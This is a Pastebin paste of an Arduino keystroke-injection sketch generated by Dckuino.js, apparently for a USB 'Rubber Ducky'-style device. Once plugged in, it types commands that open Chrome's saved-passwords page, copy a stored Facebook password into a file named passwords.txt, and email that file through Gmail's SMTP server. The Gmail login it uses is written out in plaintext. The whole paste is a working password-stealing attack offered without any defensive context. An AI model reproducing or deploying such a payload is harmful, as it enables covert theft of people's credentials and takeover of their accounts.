Advertisement
Guest User

Untitled

a guest
Mar 4th, 2019
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.86 KB | None | 0 0
  1. /*
  2. * Generated with <3 by Dckuino.js, an open source project !
  3. */
  4.  
  5. #include "Keyboard.h"
  6.  
  7. void typeKey(int key)
  8. {
  9. Keyboard.press(key);
  10. delay(50);
  11. Keyboard.release(key);
  12. }
  13.  
  14. /* Init function */
  15. void setup()
  16. {
  17. // Begining the Keyboard stream
  18. Keyboard.begin();
  19.  
  20. // Wait 500ms
  21. delay(500);
  22.  
  23. delay(2000);
  24.  
  25. Keyboard.press(KEY_LEFT_GUI);
  26. Keyboard.press('r');
  27. Keyboard.releaseAll();
  28.  
  29. delay(1000);
  30.  
  31. Keyboard.print("chrome");
  32.  
  33. delay(1000);
  34.  
  35. typeKey(KEY_RETURN);
  36.  
  37. delay(4000);
  38.  
  39. Keyboard.print("chrome://settings/passwords");
  40.  
  41. typeKey(KEY_RETURN);
  42.  
  43. delay(2000);
  44.  
  45. Keyboard.print("facebook");
  46.  
  47. delay(500);
  48.  
  49. typeKey(KEY_TAB);
  50.  
  51. delay(500);
  52.  
  53. typeKey(KEY_DOWN_ARROW);
  54.  
  55. delay(500);
  56.  
  57. typeKey(KEY_TAB);
  58.  
  59. delay(500);
  60.  
  61. typeKey(KEY_TAB);
  62.  
  63. delay(500);
  64.  
  65. typeKey(KEY_RETURN);
  66.  
  67. delay(500);
  68.  
  69. Keyboard.press(KEY_LEFT_ALT);
  70. Keyboard.press('d');
  71. Keyboard.releaseAll();
  72.  
  73. delay(500);
  74.  
  75. typeKey(KEY_TAB);
  76.  
  77. delay(500);
  78.  
  79. typeKey(KEY_TAB);
  80.  
  81. delay(500);
  82.  
  83. typeKey(KEY_TAB);
  84.  
  85. delay(500);
  86.  
  87. Keyboard.press(KEY_LEFT_CTRL);
  88. Keyboard.press('c');
  89. Keyboard.releaseAll();
  90.  
  91. delay(500);
  92.  
  93. Keyboard.press(KEY_LEFT_ALT);
  94. Keyboard.press(KEY_F4);
  95. Keyboard.releaseAll();
  96.  
  97. delay(500);
  98.  
  99. Keyboard.press(KEY_LEFT_GUI);
  100. Keyboard.press('r');
  101. Keyboard.releaseAll();
  102.  
  103. delay(500);
  104.  
  105. Keyboard.print("powershell start-process notepad.exe -Verb runAs");
  106.  
  107. delay(500);
  108.  
  109. typeKey(KEY_RETURN);
  110.  
  111. delay(2000);
  112.  
  113. Keyboard.press(KEY_LEFT_ALT);
  114. Keyboard.press('y');
  115. Keyboard.releaseAll();
  116.  
  117. delay(1000);
  118.  
  119. Keyboard.press(KEY_LEFT_CTRL);
  120. Keyboard.press('v');
  121. Keyboard.releaseAll();
  122.  
  123. delay(500);
  124.  
  125. Keyboard.press(KEY_LEFT_ALT);
  126. Keyboard.press('f');
  127. Keyboard.releaseAll();
  128.  
  129. delay(500);
  130.  
  131. Keyboard.print("s");
  132.  
  133. delay(500);
  134.  
  135. Keyboard.print("passwords.txt");
  136.  
  137. delay(500);
  138.  
  139. typeKey(KEY_TAB);
  140.  
  141. typeKey(KEY_TAB);
  142.  
  143. typeKey(KEY_TAB);
  144.  
  145. typeKey(KEY_TAB);
  146.  
  147. typeKey(KEY_TAB);
  148.  
  149. typeKey(KEY_TAB);
  150.  
  151. typeKey(KEY_TAB);
  152.  
  153. typeKey(KEY_TAB);
  154.  
  155. typeKey(KEY_TAB);
  156.  
  157. Keyboard.print("c");
  158.  
  159. delay(1000);
  160.  
  161. Keyboard.print("l");
  162.  
  163. delay(500);
  164.  
  165. typeKey(KEY_RETURN);
  166.  
  167. delay(500);
  168.  
  169. Keyboard.press(KEY_LEFT_ALT);
  170. Keyboard.press('s');
  171. Keyboard.releaseAll();
  172.  
  173. delay(1000);
  174.  
  175. Keyboard.press(KEY_LEFT_ALT);
  176. Keyboard.press(KEY_F4);
  177. Keyboard.releaseAll();
  178.  
  179. delay(500);
  180.  
  181. Keyboard.press(KEY_LEFT_GUI);
  182. Keyboard.press('r');
  183. Keyboard.releaseAll();
  184.  
  185. delay(500);
  186.  
  187. Keyboard.print("powershell");
  188.  
  189. typeKey(KEY_RETURN);
  190.  
  191. delay(1000);
  192.  
  193. Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
  194.  
  195. typeKey(KEY_RETURN);
  196.  
  197. Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
  198.  
  199. typeKey(KEY_RETURN);
  200.  
  201. Keyboard.print("$SMTPInfo.EnableSsl = $true");
  202.  
  203. typeKey(KEY_RETURN);
  204.  
  205. Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('lover123rus@gmail.com', 'guru2582379');");
  206.  
  207. typeKey(KEY_RETURN);
  208.  
  209. Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
  210.  
  211. typeKey(KEY_RETURN);
  212.  
  213. Keyboard.print("$ReportEmail.From = 'lover123rus@gmail.com'");
  214.  
  215. typeKey(KEY_RETURN);
  216.  
  217. Keyboard.print("$ReportEmail.To.Add('lover123rus@gmail.com')");
  218.  
  219. typeKey(KEY_RETURN);
  220.  
  221. Keyboard.print("$ReportEmail.Subject = 'Ducky chrome passwords'");
  222.  
  223. typeKey(KEY_RETURN);
  224.  
  225. Keyboard.print("$ReportEmail.Body = 'Attached is your list of passwords.'");
  226.  
  227. typeKey(KEY_RETURN);
  228.  
  229. Keyboard.print("$ReportEmail.Attachments.Add('c:\\passwords.txt')");
  230.  
  231. typeKey(KEY_RETURN);
  232.  
  233. Keyboard.print("$SMTPInfo.Send($ReportEmail)");
  234.  
  235. typeKey(KEY_RETURN);
  236.  
  237. delay(3000);
  238.  
  239. Keyboard.print("exit");
  240.  
  241. typeKey(KEY_RETURN);
  242.  
  243. // Ending stream
  244. Keyboard.end();
  245. }
  246.  
  247. /* Unused endless loop */
  248. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement